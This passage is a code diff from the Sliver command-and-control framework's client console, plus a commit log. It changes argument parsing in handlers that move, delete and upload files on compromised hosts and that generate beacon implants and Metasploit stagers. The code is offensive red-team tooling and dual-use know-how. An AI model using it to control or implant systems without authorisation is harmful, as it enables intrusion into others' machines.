+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

-func MvCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
+func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	src := args[0]
-	// src := ctx.Args.String("src")
-	// if src == "" {
-	// 	con.PrintErrorf("Missing parameter: src\n")
-	// 	return
-	// }
+	src := ctx.Args.String("src")
+	if src == "" {
+		con.PrintErrorf("Missing parameter: src\n")
+		return
+	}

-	dst := args[1]
-	// dst := ctx.Args.String("dst")
-	// if dst == "" {
-	// 	con.PrintErrorf("Missing parameter: dst\n")
-	// 	return
-	// }
+	dst := ctx.Args.String("dst")
+	if dst == "" {
+		con.PrintErrorf("Missing parameter: dst\n")
+		return
+	}

 	mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 		Src:     src,
 		Dst:     dst,
 	})
@@ -21,23 +21,22 @@ package filesystem
 import (
 	"context"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // PwdCmd - Print the remote working directory
-func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
 	pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -21,38 +21,33 @@ package filesystem
 import (
 	"context"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // RmCmd - Remove a directory from the remote file system
-func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	filePath := args[0]
-	// filePath := ctx.Args.String("path")
+	filePath := ctx.Args.String("path")

 	if filePath == "" {
 		con.PrintErrorf("Missing parameter: file or directory name\n")
 		return
 	}

-	recursive, _ := cmd.Flags().GetBool("recursive")
-	force, _ := cmd.Flags().GetBool("force")
-
 	rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
-		Request:   con.ActiveTarget.Request(cmd),
+		Request:   con.ActiveTarget.Request(ctx),
 		Path:      filePath,
-		Recursive: recursive,
-		Force:     force,
+		Recursive: ctx.Flags.Bool("recursive"),
+		Force:     ctx.Flags.Bool("force"),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -21,36 +21,29 @@ package filesystem
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
 	"os"
 	"path/filepath"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // UploadCmd - Upload a file to the remote system
-func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	remotePath := ""
-
-	localPath := args[0]
-	if len(args) > 1 {
-		remotePath = args[1]
-	}
-
-	// localPath := ctx.Args.String("local-path")
-	// remotePath := ctx.Args.String("remote-path")
-	isIOC, _ := cmd.Flags().GetBool("ioc")
+	localPath := ctx.Args.String("local-path")
+	remotePath := ctx.Args.String("remote-path")
+	isIOC := ctx.Flags.Bool("ioc")

 	if localPath == "" {
 		con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -63,30 +56,28 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	fileName := filepath.Base(src)

 	if remotePath == "" {
+		fileName := filepath.Base(src)
 		remotePath = fileName
 	}
-
 	dst := remotePath

-	fileBuf, err := os.ReadFile(src)
+	fileBuf, err := ioutil.ReadFile(src)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	uploadGzip, _ := new(encoders.Gzip).Encode(fileBuf)
+	uploadGzip := new(encoders.Gzip).Encode(fileBuf)

 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
 	upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
-		Request:  con.ActiveTarget.Request(cmd),
-		Path:     dst,
-		Data:     uploadGzip,
-		Encoder:  "gzip",
-		IsIOC:    isIOC,
-		FileName: fileName,
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    dst,
+		Data:    uploadGzip,
+		Encoder: "gzip",
+		IsIOC:   isIOC,
 	})
 	ctrl <- true
 	<-ctrl
@@ -4,25 +4,23 @@ import (
 	"context"
 	"fmt"

-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
 )

 // CanariesCmd - Display canaries from the database and their status
-func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("Failed to list canaries %s", err)
 		return
 	}
 	if 0 < len(canaries.Canaries) {
-		burnedOnly, _ := cmd.Flags().GetBool("burned")
-		PrintCanaries(con, canaries.Canaries, burnedOnly)
+		PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
 	} else {
 		con.PrintInfof("No canaries in database\n")
 	}
@@ -5,10 +5,9 @@ import (
 	"os"
 	"time"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
 )

 var (
@@ -17,35 +16,32 @@ var (
 )

 // GenerateBeaconCmd - The main command used to generate implant binaries
-func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	name, config := parseCompileFlags(cmd, con)
+func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	config := parseCompileFlags(ctx, con)
 	if config == nil {
 		return
 	}
 	config.IsBeacon = true
-	err := parseBeaconFlags(cmd, con, config)
+	err := parseBeaconFlags(ctx, con, config)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	save, _ := cmd.Flags().GetString("save")
+	save := ctx.Flags.String("save")
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	if external, _ := cmd.Flags().GetBool("external-builder"); !external {
-		compile(config, save, con)
+	if !ctx.Flags.Bool("external-builder") {
+		compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
 	} else {
-		externalBuild(name, config, save, con)
+		externalBuild(config, save, con)
 	}
 }

-func parseBeaconFlags(cmd *cobra.Command, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
-	days, _ := cmd.Flags().GetInt64("days")
-	hours, _ := cmd.Flags().GetInt64("hours")
-	minutes, _ := cmd.Flags().GetInt64("minutes")
-	interval := time.Duration(days) * time.Hour * 24
-	interval += time.Duration(hours) * time.Hour
-	interval += time.Duration(minutes) * time.Minute
+func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
+	interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
+	interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
+	interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute

 	/*
 		If seconds has not been specified but any of the other time units have, then do not add
@@ -53,18 +49,14 @@ func parseBeaconFlags(cmd *cobra.Command, con *console.SliverConsoleClient, conf

 		If seconds have been specified, then add them regardless.
 	*/
-	if (!cmd.Flags().Changed("seconds") && interval.Seconds() == 0) || (cmd.Flags().Changed("seconds")) {
-		// if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
-		seconds, _ := cmd.Flags().GetInt64("seconds")
-		interval += time.Duration(seconds) * time.Second
+	if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
+		interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
 	}

 	if interval < minBeaconInterval {
 		return ErrBeaconIntervalTooShort
 	}
-
-	beaconJitter, _ := cmd.Flags().GetInt64("jitter")
 	config.BeaconInterval = int64(interval)
-	config.BeaconJitter = int64(time.Duration(beaconJitter) * time.Second)
+	config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
 	return nil
 }
@@ -3,14 +3,13 @@ package generate
 import (
 	"context"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
 )

 // GenerateInfoCmd - Display information about the Sliver server's compiler configuration
-func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("Failed to get compiler information: %s\n", err)
@@ -27,16 +27,15 @@ import (
 	"strings"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
 )

 // GenerateStagerCmd - Generate a stager using Metasploit
-func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var stageProto clientpb.StageProtocol
-	lhost, _ := cmd.Flags().GetString("lhost")
+	lhost := ctx.Flags.String("lhost")
 	if lhost == "" {
 		con.PrintErrorf("Please specify a listening host")
 		return
@@ -65,14 +64,13 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
 			lhost = addr[0]
 		}
 	}
-	lport, _ := cmd.Flags().GetUint32("lport")
-	stageOS, _ := cmd.Flags().GetString("os")
-	arch, _ := cmd.Flags().GetString("arch")
-	proto, _ := cmd.Flags().GetString("protocol")
-	format, _ := cmd.Flags().GetString("format")
-	badChars, _ := cmd.Flags().GetString("badchars")
-	save, _ := cmd.Flags().GetString("save")
-	advOptions, _ := cmd.Flags().GetString("advanced")
+	lport := ctx.Flags.Int("lport")
+	stageOS := ctx.Flags.String("os")
+	arch := ctx.Flags.String("arch")
+	proto := ctx.Flags.String("protocol")
+	format := ctx.Flags.String("format")
+	badChars := ctx.Flags.String("badchars")
+	save := ctx.Flags.String("save")

 	bChars := make([]string, 0)
 	if len(badChars) > 0 {
@@ -96,14 +94,13 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
 	ctrl := make(chan bool)
 	con.SpinUntil("Generating stager, please wait ...", ctrl)
 	stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
-		Arch:       arch,
-		BadChars:   bChars,
-		Format:     format,
-		Host:       lhost,
-		Port:       lport,
-		Protocol:   stageProto,
-		OS:         stageOS,
-		AdvOptions: advOptions,
+		Arch:     arch,
+		BadChars: bChars,
+		Format:   format,
+		Host:     lhost,
+		Port:     uint32(lport),
+		Protocol: stageProto,
+		OS:       stageOS,
 	})
 	ctrl <- true
 	<-ctrl
@@ -114,19 +111,19 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
 	}

 	if save != "" || format == "raw" {
-		saveTo, err := saveLocation(save, stageFile.GetFile().GetName(), con)
+		saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
 		if err != nil {
 			return
 		}

-		err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0o700)
+		err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)
 			return
 		}
 		con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
 	} else {
-		con.PrintInfof("Here's your stager:\n")
+		con.PrintInfof("Here's your stager:")
 		con.Println(string(stageFile.GetFile().GetData()))
 	}
 }
Author	SHA1	Message	Date
rkervella	5e6caaeaa8	Early return	2023-07-10 14:54:18 -07:00
rkervella	6aaf2f8005	Remove early return	2023-07-10 14:49:42 -07:00
rkervella	79d0f673dc	Moar debug logs	2023-07-10 14:48:01 -07:00
rkervella	db35485abf	Try zero guid	2023-07-10 14:42:33 -07:00
rkervella	528e444641	Add debug messages	2023-07-10 14:03:09 -07:00
moloch--	c17c37857e	Fixes to the Sliver KEM	2023-06-20 11:17:46 -07:00
moloch--	6b58cb7053	Fixes to the Sliver KEM	2023-06-20 11:17:21 -07:00
Joe	65c9aa0481	Merge pull request #1300 from BishopFox/fix/implant-exit-1.5 Fix implant exit code for sessions.	2023-06-15 17:07:50 -05:00
rkervella	8f275b536f	Fix implant exit code for sessions.	2023-06-15 13:32:04 -07:00